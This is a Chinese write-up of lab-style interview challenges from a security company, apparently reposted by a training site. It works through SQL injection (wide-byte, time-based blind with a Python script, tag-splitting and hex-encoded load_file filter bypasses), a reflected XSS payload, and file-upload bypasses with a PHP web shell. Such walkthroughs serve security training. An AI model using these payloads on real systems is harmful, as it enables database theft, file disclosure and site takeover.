记某安全公司面试题writeup
点击“合天智汇”关注,学习网安干货
0x00 前言
前段时间刚毕业,本来是要顺利入职某安全厂商的,但是被临时毁约,于是重新找渗透测试方向工作的时候,面试了某安全公司,做了下给出的面试题,简单记录下。
0x01 SQL注入1
要查询key表,id=1的string值,这里就直接加上id参数和单引号去访问测试下
http://192.168.2.13:83/?id=1’
发现页面并没有什么变化,通过浏览器F12查看下response headers,可以看到采用的是gbk的编码。
所以就尝试着用宽字节注入,这里就直接用sqlmap自带的一个针对宽字节注入的tamper插件 unmagicquotes
python sqlmap.py -u "http://192.168.2.13:83/?id=1" --tamper unmagicquotes -D sql5 -T key --dump
可以看到是注入成功了,并且key表的内容也得到了。
0x02 SQL注入2
查询当前数据库版本号作为flag进行提交
同样加上id参数和and 1=1来测试发现被拦截了,不过把and采用大写方式即可进行绕过
然后经测试发现,这个注入测试并无报错的地方,猜测可能是考察盲注,于是访问测试语句
http://192.168.2.13:84/?id=1 And if(1=1,sleep(5),0),发现的确存在时间盲注,网站响应了5秒才返回信息。
直接丢sqlmap跑不出数据,手动的一个个字符的猜也很麻烦,于是写了个简单的python脚本,通过网站服务器前后的响应时间差来判断出数据库版本号的长度,再逐个逐个字符的
去猜解。
import requests
import time
payload='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.!@#$+=-'
data=''
print 'Judgment of data length...'
for i in range(1,20):
url='http://192.168.2.13:84/index.php?id=1 AND if((SELECT length(version()))='+str(i)+',sleep(6),0)'
starttime=time.time()
response=requests.get(url)
if time.time()-starttime>5:
print 'the data length is:'+str(i)
break
print 'Extract data...It will takes about '+str(i*6)+' seconds'
for j in range(1,i+1):
for payloads in payload:
url='http://192.168.2.13:84/index.php?id=1 AND if(version() like "'+data+payloads+'%",sleep(6),0)'
starttime=time.time()
reponse=requests.get(url)
if time.time()-starttime>5:
data+=payloads
print data
break
print 'the final result is:'+data
最后运行出来的结果为5.5.48-log
0x03 SQL注入3
查找表为key的数据表,id=1值hash字段值
此题给出了一段代码,可以看到代码里首先对注入的一些关键字进行了过滤,紧接着又对xss用strip_tags函数进行了过滤处理,但问题就出在这了,xss的过滤位于sql注入过滤的后面,且通过strip_tags函数过滤,这个strip_tags函数呢是替换字符串中的HTML、XML以及PHP的标签为空。那么可以先构造一个包含标签(如<b>/<h>/<i>)的注入语句,让注入语句通过sql注入的检查,然后在xss过滤过程中由于被剥去了标签又还原为了可以执行的sql语句。
http://192.168.2.13:87/?id=1 a<b>nd 1=1%23
http://192.168.2.13:87/?id=1 a<b>nd 1=2%23
通过上面这两题语句可以看到页面返回的内容并不一样,所以判断存在注入,那么接下来就是常规的注入。
http://192.168.2.13:87/?id=1 o<b>rder by 2%23 判断出来有两个字段
http://192.168.2.13:87/?id=1 unio<>n s<>elect 1,2%23 显示位为1,2
http://192.168.2.13:87/?id=1 unio<>n s<>elect 1,hash fr<>om `key`%23
查看hash值,另外这里查询key表的时候直接查询表名的话,查不出来,被过滤了,要用``间隔号包围起来之后同样可以查询出来
0x04 SQL注入4
通过sql注入读取文件内容
提示不允许包含空格,那么空格可以用/**/,%0a,%0d等进行代替,
因为读取文件要用load_file这个函数,而题目限制了不允许使用单引号,所以这里可以把
load_file(‘/var/test/key_1.php’)中的文件路径换成16进制的格式,从而绕过单引号的限制
load_file(0x2f7661722f746573742f6b65795f312e706870)
最后由于题目也限制了不能使用union关键字,那么可以使用extractvalue或updatexml函数来进行报错读取,首先读取文件内容的长度,payload如下
http://192.168.2.13:87/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(length(load_file(0x2f7661722f746573742f6b65795f312e706870)))),0x7e))
读取出来的长度显示为149
那么接下来就读取数据,因为extractvalue函数每次只能读取32个字符,所以这里用substring函数限制每次只读取32个字符,依次增加往后读取,当读取的内容长度超过149时停止读取
http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),1,32))),0x7e))
http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),32,32))),0x7e))
http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),64,32))),0x7e))
http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),96,32))),0x7e))
http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),128,32))),0x7e))
最后把读取出来的内容进行拼接
<?php
fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsfdsafsdafdsafas0hfdsg9Flag:"724f5a7fd1de602b30e6f39aea6193a"fsafsafdsafdsafdsafa ?>
可以清楚的看到被双引号包围起来的flag的值
Flag:"724f5a7fd1de602b30e6f39aea6193a"
0x05 XSS注入
xss弹窗alert(_key_),即可显示flag
题目的页面地址没有可以进行输入的地方,那么猜测就是一个基于url地址的反射型xss,
同时查看源代码发现如下这段代码
题目的页面地址没有可以进行输入的地方,那么猜测就是一个基于url地址的反射型xss,
同时查看源代码发现如下这段代码
那么可以先尝试着访问http://192.168.2.13:89/?id=<script>alert(1)</script>,并没有弹窗,查看源码发现<>尖括号被过滤了。
那么尖括号被过滤了,就去网上查找对应的绕过方法,最后通过强大的搜索发现可以把尖括号进行unicode编码,并且通过js引用图片标签报错弹窗,最后的padload如下
http://192.168.2.13:89/?id=\u003cimg src=1 onerror=alert(_key_)\u003e
0x06 隐藏值
查找页面中包含password的值,这道题很简单,直接查看服务器返回给客户端的set-cookie即可找到
0x07 文件上传1
这道题的话也很简单,就是前端js验证上传图片后缀+服务器端检测上传文件的mime类型
所以对应的上传绕过方法就是在谷歌浏览器的设置中禁用js,然后上传包含图片文件头和一句话木马的php文件,即可拿到flag
0x08 文件上传2
首先把木马文件修改为jpg后缀,在上传的时候通过burp抓包修改后缀名为php即可绕过上传
0x09 Js密码破解
点开链接后弹出一个窗口,要求输入flag,查看源代码可以看到窗口是用一段js代码实现的
现在根据代码中的判断条件去反向猜解flag,这里就直接在代码注释里添加破解过程了
var a = prompt("尝试输入测试密码",""); //变量a就是我们要猜的flag,输入之后进行后面的判断
var b = "56ab34c15b73a457069c58a43fcfc640"; //变量b是一串MD5值
var c = /.+_.+_.+/gi; //变量c是正则表达式
var d = 0x0; //变量d是十六进制数字0
var e = a.substr(0x8, 0x5); // e字符串为a的第九位到第十三位,这里字符串下标从0开始的,所以substr(0x8,0x5)是从第9位开始取5位
if ($.md5(e) == b.replace(/3/ig, ++d+1).replace(/8/ig, 'e')) {
//e的md5值等于b进行正则替换后的值,这里可以直接在F12控制台上调试输出下面4条语句,即可得到e的md5值为56ab24c15b72a457069c5ea42fcfc640,然后解开得e的值为happy,同时注意这里对前面定义的d变量进行++d的操作,现在d的值为0x1//var d=0x0;//var b = "56ab34c15b73a457069c58a43fcfc640";//var e = b.replace(/3/ig, ++d+1).replace(/8/ig, 'e')
/console.log(e)
var f = a.substr(0x0 / d, 0x7); // f字符串为a的第一位到第七位
if (f.substr(0x5, 0x2) == "lb" && $.md5(f.substr(0x0 / d, d + 0x3)) == "2481efd7de867935fe8fb3fde500c4a2") {
// 第一个判断:f字符串第六七位为lb
// 第二个判断:这里的d值为1,substr(0,3),解开下面md5得crcr,为f字符串的第一到第四位
// 结果f=crcr lb,第五位未知
r = a.substr(0xd);
// 此处的d不是变量d,而是16进制的0xd转10进制为13,所以r字符串为a的第十四位到a字符串结束,a总个数未知
if (r.charCodeAt(d) - 0x19 == r.charCodeAt(++d) - 0x19 && r.charCodeAt(--d) - 0x19 == r.charCodeAt(--d)) {
//现在这里的d变量仍然为0x1
// 第一个判断:r字符串的第二位跟第三位,两个值相同,同时++d,d变量为2了
// 第二个判断:r字符串的第二位unicode码减0x19的十进制,也就是减25,等于第一位的unicode码,此时d变量通过两次--d操作已经变为0了
// 重点:上面的if出现四个d,第一个为1,第二个++d为2,第三个--d为1,第四个--d为0,d是每通过一次++d或者--d就+1或者-1
var g = String.fromCharCode(0x4f);
g = g.toLowerCase() + g.toLowerCase();
// 这里直接把上面两条语句放入console控制台调试输出即可得g值,g = oo
if (r.substr((++d) * 0x3, 0x6) == g.concat("soft") && c.test(a)) {
//注意此时的d变量通过++d又变为1了
// 第一个判断:r.substr(0x3,0x6),r字符串第4位到9位为oosoft,concat函数将g值的oo与soft拼接起来
// 第二个判断:test函数将a代入前面定义的c变量的正则表达式进行正则匹配a,所以猜测a的格式为xxxxxxx_xxxxx_xxxxx,a里面存在两个下划线,因为c的正则里面也有两个下划线
d = String(0x1) + String(a.length)
// 往下看代码,通过下面的a.substr(0x16, 0x1)猜测a长度可能为23,0x16的10进制为22,字符串从0算起22是第23位,然后d值拼接0x01等于123
}
}
}
};
/**
* 到此,我们先将上面的信息集合起来。
* f = crcr lb a变量的第1-7位
* e = happy a变量的第9-13位
* r = 00oosoft 第14位到结束
* 组合得
* a = crcr lb happy 00oosoft
* 空格代表未知字符,其中里面两个00代表此处两个字符是相同的
*/
if (a.substr(0x4, 0x1) == String.fromCharCode(d) && a.substr(0x16, 0x1) == String.fromCharCode(0x7D)) {
// 第一个判断:a的第五位等于将上面的d=123进行unicode解码,得a的第五位是 { 这个符号
// 第二个判断:同样对0x7D进行unicode解码得a第23个字符为 } 符号
alert("恭喜,输入过关key: "+a);
}
else{
alert('再想想~');
}
/**
* 到这里,看似结束,其实还有几个字符没解开
* a = crcr{lb happy 00oosoft}
* 中间两个空格,回想刚刚的正则匹配,可猜得对应的两个_下划线
* a = crcr{lb_happy_00oosoft}
* 倒回去看r变量的判断
* 0的值为_下划线unicode码加25
* 所以在控制台输入下面3条代码,即可得r两个相同的字符为xx
* var r = '_'
* console.log(r.charCodeAt(0))
* console.log(String.fromCharCode(95+25))
* 最终进行拼接获得a值,也就是我们的key:crcr{lb_happy_xxoosoft}
*/
解出e的值
解出g的值
解出r的两个相同值的字符
破解成功
0x10 结语
做题也花了些时间,最后也没去这家公司,简单记录分享给要找安全/渗透方面的同学,希望大家都找到适合自己的工作。
若读者因此做出危害网络安全的行为后果自负,与合天智汇及本人无关,特此声明。
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天网安实验室
网址 : www.hetianlab.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→